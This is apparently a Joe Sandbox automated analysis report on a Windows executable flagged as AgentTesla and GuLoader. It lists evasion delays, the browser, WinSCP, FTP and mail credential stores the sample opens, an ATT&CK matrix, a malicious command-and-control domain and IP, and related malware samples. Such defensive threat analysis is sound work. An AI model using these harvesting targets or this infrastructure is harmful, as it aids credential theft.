Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 98344	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 98235	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 98110	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 97985	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 97860	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 97735	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 97610	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 97485	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 97360	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 97235	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 97110	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1199969	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1199859	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1199747	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1199640	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1199531	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1199422	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1199312	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1199203	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1199094	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1198984	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1198875	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1198766	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1198656	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1198545	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1198437	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1198328	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1198219	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1198109	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1198000	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1197891	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1197781	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1197672	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1197562	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1197453	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Thread delayed: delay time: 1197342	Jump to behavior

Source: 3Pd480eWHA.exe, 00000009.00000002.2500614547.00000000052CE000.00000004.00000020.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000002.2500614547.0000000005278000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\3Pd480eWHA.exe	API call chain: ExitProcess graph end node			graph_0-4185
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	API call chain: ExitProcess graph end node			graph_0-4335

Source: C:\Users\user\Desktop\3Pd480eWHA.exe

Code function: 0_2_10001A5D GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,

0_2_10001A5D

Source: C:\Users\user\Desktop\3Pd480eWHA.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\3Pd480eWHA.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\3Pd480eWHA.exe

Process created: C:\Users\user\Desktop\3Pd480eWHA.exe "C:\Users\user\Desktop\3Pd480eWHA.exe"

Jump to behavior

Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Queries volume information: C:\Users\user\Desktop\3Pd480eWHA.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\3Pd480eWHA.exe

Code function: 0_2_00405D2E GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

0_2_00405D2E

Source: C:\Users\user\Desktop\3Pd480eWHA.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 00000009.00000002.2521682008.0000000035874000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2521682008.000000003586C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2521682008.0000000035841000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3Pd480eWHA.exe PID: 3260, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\3Pd480eWHA.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\3Pd480eWHA.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\3Pd480eWHA.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\3Pd480eWHA.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\3Pd480eWHA.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 00000009.00000002.2521682008.0000000035841000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3Pd480eWHA.exe PID: 3260, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 00000009.00000002.2521682008.0000000035874000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2521682008.000000003586C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2521682008.0000000035841000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3Pd480eWHA.exe PID: 3260, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	11 Input Capture	226 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	11 Process Injection	2 Obfuscated Files or Information	1 Credentials in Registry	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	311 Security Software Discovery	Distributed Component Object Model	11 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	141 Virtualization/Sandbox Evasion	SSH	2 Clipboard Data	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	141 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
3Pd480eWHA.exe	55%	ReversingLabs	Win32.Trojan.Guloader
3Pd480eWHA.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsn1341.tmp\System.dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://showpiece.trillennium.biz	0%	Avira URL Cloud	safe
http://mail.showpiece.trillennium.biz	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
drive.google.com	172.217.16.206	true	false	high
drive.usercontent.google.com	142.250.186.129	true	false	high
api.ipify.org	104.26.13.205	true	false	high
showpiece.trillennium.biz	67.23.226.139	true	true	unknown
mail.showpiece.trillennium.biz	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://showpiece.trillennium.biz	3Pd480eWHA.exe, 00000009.00000002.2521682008.000000003586C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com	3Pd480eWHA.exe, 00000009.00000003.1969573580.00000000052E6000.00000004.00000020.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000003.1969167154.00000000052E6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.ipify.org	3Pd480eWHA.exe, 00000009.00000002.2521682008.00000000357F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_Error	3Pd480eWHA.exe	false		high
http://r11.o.lencr.org0#	3Pd480eWHA.exe, 00000009.00000002.2521682008.0000000035874000.00000004.00000800.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000002.2522820878.0000000037A12000.00000004.00000020.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000002.2522820878.00000000379E5000.00000004.00000020.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000002.2500614547.0000000005278000.00000004.00000020.00020000.00000000.sdmp	false		high
http://mail.showpiece.trillennium.biz	3Pd480eWHA.exe, 00000009.00000002.2521682008.000000003586C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/	3Pd480eWHA.exe, 00000009.00000002.2500614547.0000000005278000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	3Pd480eWHA.exe, 00000009.00000002.2521682008.0000000035874000.00000004.00000800.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000002.2522820878.0000000037A12000.00000004.00000020.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000002.2522820878.00000000379E5000.00000004.00000020.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000002.2500614547.0000000005278000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	3Pd480eWHA.exe, 00000009.00000002.2521682008.0000000035874000.00000004.00000800.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000002.2522820878.0000000037A12000.00000004.00000020.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000002.2522820878.00000000379E5000.00000004.00000020.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000002.2500614547.0000000005278000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.google.com/.	3Pd480eWHA.exe, 00000009.00000002.2500614547.0000000005278000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/	3Pd480eWHA.exe, 00000009.00000002.2500614547.00000000052CE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://apis.google.com	3Pd480eWHA.exe, 00000009.00000003.1969573580.00000000052E6000.00000004.00000020.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000003.1969167154.00000000052E6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	3Pd480eWHA.exe	false		high
https://api.ipify.org/t	3Pd480eWHA.exe, 00000009.00000002.2521682008.00000000357F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	3Pd480eWHA.exe, 00000009.00000002.2521682008.00000000357F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://r11.i.lencr.org/0	3Pd480eWHA.exe, 00000009.00000002.2521682008.0000000035874000.00000004.00000800.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000002.2522820878.0000000037A12000.00000004.00000020.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000002.2522820878.00000000379E5000.00000004.00000020.00020000.00000000.sdmp, 3Pd480eWHA.exe, 00000009.00000002.2500614547.0000000005278000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.129	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
67.23.226.139	showpiece.trillennium.biz	United States	33182	DIMENOCUS	true
172.217.16.206	drive.google.com	United States	15169	GOOGLEUS	false
104.26.13.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1550181
Start date and time:	2024-11-06 15:05:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	3Pd480eWHA.exe renamed because original name is a hash value
Original Sample Name:	0c2b883b2bff3ab75adf1d79049fffe5de810c19cb65e1b3a4e14d73ca10598c.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/11@4/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 95% Number of executed functions: 165 Number of non-executed functions: 73
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 3Pd480eWHA.exe

Simulations

Behavior and APIs

Time	Type	Description
10:44:44	API Interceptor	5020x Sleep call for process: 3Pd480eWHA.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
67.23.226.139	Quotation.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	COTIZACION.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	Quotation.exe	Get hash	malicious	AgentTesla	Browse
	Quotation.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	Quotation.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	Revised PI 28 08 2024.exe	Get hash	malicious	AgentTesla	Browse
	PI 22_8_2024.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	COTIZACION 19 08 24.exe	Get hash	malicious	AgentTesla	Browse
	pago.exe	Get hash	malicious	AgentTesla	Browse
	invoice.exe	Get hash	malicious	AgentTesla	Browse
104.26.13.205	2b7cu0KwZl.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	Prismifyr-Install.exe	Get hash	malicious	Node Stealer	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	New_Order_PO_GM5637H93.cmd	Get hash	malicious	AgentTesla, DBatLoader	Browse	104.26.13.205
	JkYvyHHOr8.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205
	y4jxkrdxZr.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	Termination_List_November_2024_pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	https://averellharriman.sharefile.com/public/share/web-sab7e0a816d3e4e0ca3a0899254901a6d	Get hash	malicious	Unknown	Browse	172.67.74.152
	https://averellharriman.sharefile.com/public/share/web-s3b96c17360cd43e7bdcaf25a23709fd0	Get hash	malicious	Unknown	Browse	104.26.13.205
	https://www.canva.com/design/DAGVnZ3mr_Y/4CQQbX1-EKRcha16TVbYxQ/view?utm_content=DAGVnZ3mr_Y&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Mamba2FA	Browse	104.26.12.205
	Payment_Advice_USD_48,054.40_.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	AENiBH7X1q.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	172.67.74.152
	H096Ewc7ki.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.12.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	6ehOuQ8ifL.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	173090160965f4af6053e0cc550b1580793735ec4c6bd2a63005d1f358aeab4a3375f6790f876.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	SecuriteInfo.com.FileRepMalware.29777.16321.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	104.21.5.155
	Iamgold_Docs_Access3aecd483-6211-46f6-ad1d-bba6268615a6_OFZCB.pdf	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	Report_7526.html	Get hash	malicious	Unknown	Browse	104.17.245.203
	https://booking.com@slongre.com/vrmcoabu	Get hash	malicious	Unknown	Browse	104.17.25.14
	SecuriteInfo.com.W32.MSIL_Kryptik.KHA.gen.Eldorado.19300.19769.exe	Get hash	malicious	LummaC	Browse	104.21.16.142
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	172.67.133.135
	SecuriteInfo.com.Win32.CrypterX-gen.28162.4666.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer	Browse	104.21.13.207
DIMENOCUS	Quotation.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	67.23.226.139
	COTIZACION.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	67.23.226.139
	Quotation.exe	Get hash	malicious	AgentTesla	Browse	67.23.226.139
	Quotation.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	67.23.226.139
	Quotation.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	67.23.226.139
	https://lumen.backerkit.com/invites/mAqpu6B5ZtIAsrg4a5WdGA/confirm?redirect_path=//rahul-garg-lcatterton-com.athuselevadores.com.br	Get hash	malicious	HTMLPhisher	Browse	107.161.183.172
	http://prabal-gupta-lcatterton-com.athuselevadores.com.br/	Get hash	malicious	HTMLPhisher	Browse	107.161.183.172
	nklarm7.elf	Get hash	malicious	Unknown	Browse	109.73.163.173
	rtransferencia-.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	138.128.178.242
	bin.i586.elf	Get hash	malicious	Gafgyt, Mirai	Browse	98.142.105.97

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	6ehOuQ8ifL.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	2tKeEoCCCw.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	104.26.13.205
	173090160965f4af6053e0cc550b1580793735ec4c6bd2a63005d1f358aeab4a3375f6790f876.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.26.13.205
	pagamento.Intesa.anpaolo.pdf.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	pagamento.Intesa.anpaolo.pdf.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	SecuriteInfo.com.FileRepMalware.29777.16321.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.26.13.205
	Iamgold_Docs_Access3aecd483-6211-46f6-ad1d-bba6268615a6_OFZCB.pdf	Get hash	malicious	HTMLPhisher	Browse	104.26.13.205
	tvfF5APmrC.lnk	Get hash	malicious	MalLnk	Browse	104.26.13.205
	aAmetcdeXM.lnk	Get hash	malicious	MalLnk	Browse	104.26.13.205
	PO#7372732993039398372372973928392832973PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.26.13.205
37f463bf4616ecd445d4a1937da06e19	N2DJ1eUIE6.exe	Get hash	malicious	FormBook, GuLoader	Browse	142.250.186.129 172.217.16.206
	SecuriteInfo.com.FileRepMalware.29777.16321.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.186.129 172.217.16.206
	5112024976.exe	Get hash	malicious	FormBook, GuLoader	Browse	142.250.186.129 172.217.16.206
	5112024976.exe	Get hash	malicious	FormBook, GuLoader	Browse	142.250.186.129 172.217.16.206
	Justificante de pago.exe	Get hash	malicious	GuLoader	Browse	142.250.186.129 172.217.16.206
	Anfrage24438.zip	Get hash	malicious	FormBook, GuLoader	Browse	142.250.186.129 172.217.16.206
	Transferencia.exe	Get hash	malicious	FormBook, GuLoader	Browse	142.250.186.129 172.217.16.206
	Anfrage24438.exe	Get hash	malicious	FormBook, GuLoader	Browse	142.250.186.129 172.217.16.206
	Anfrage24438.exe	Get hash	malicious	FormBook, GuLoader	Browse	142.250.186.129 172.217.16.206
	NTU #U5831#U50f9#U8acb#U6c42#U9805#U76ee FMD2024UOS#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	142.250.186.129 172.217.16.206

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsn1341.tmp\System.dll	PO 20240949.exe	Get hash	malicious	FormBook, GuLoader	Browse
	PO 20240949.exe	Get hash	malicious	FormBook, GuLoader	Browse
	PO-10212024168877 PNG2023-W101.exe	Get hash	malicious	GuLoader	Browse
	PO-10212024168877 PNG2023-W101.exe	Get hash	malicious	GuLoader	Browse
	PO-000041522.exe	Get hash	malicious	FormBook	Browse
	PO-000041522.exe	Get hash	malicious	FormBook	Browse
	SecuriteInfo.com.Program.Unwanted.1283.21599.30651.exe	Get hash	malicious	Unknown	Browse
	cuenta iban-ES65.exe	Get hash	malicious	FormBook, GuLoader	Browse
	cuenta iban-ES65.exe	Get hash	malicious	GuLoader	Browse
	cuenta iban-ES65.exe	Get hash	malicious	FormBook, GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nsn1341.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\3Pd480eWHA.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	11264
Entropy (8bit):	5.770803561213006
Encrypted:	false
SSDEEP:	192:vPtkumJX7zB22kGwfy0mtVgkCPOsE1un:k702k5qpdsEQn
MD5:	2AE993A2FFEC0C137EB51C8832691BCB
SHA1:	98E0B37B7C14890F8A599F35678AF5E9435906E1
SHA-256:	681382F3134DE5C6272A49DD13651C8C201B89C247B471191496E7335702FA59
SHA-512:	2501371EB09C01746119305BA080F3B8C41E64535FF09CEE4F51322530366D0BD5322EA5290A466356598027E6CDA8AB360CAEF62DCAF560D630742E2DD9BCD9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
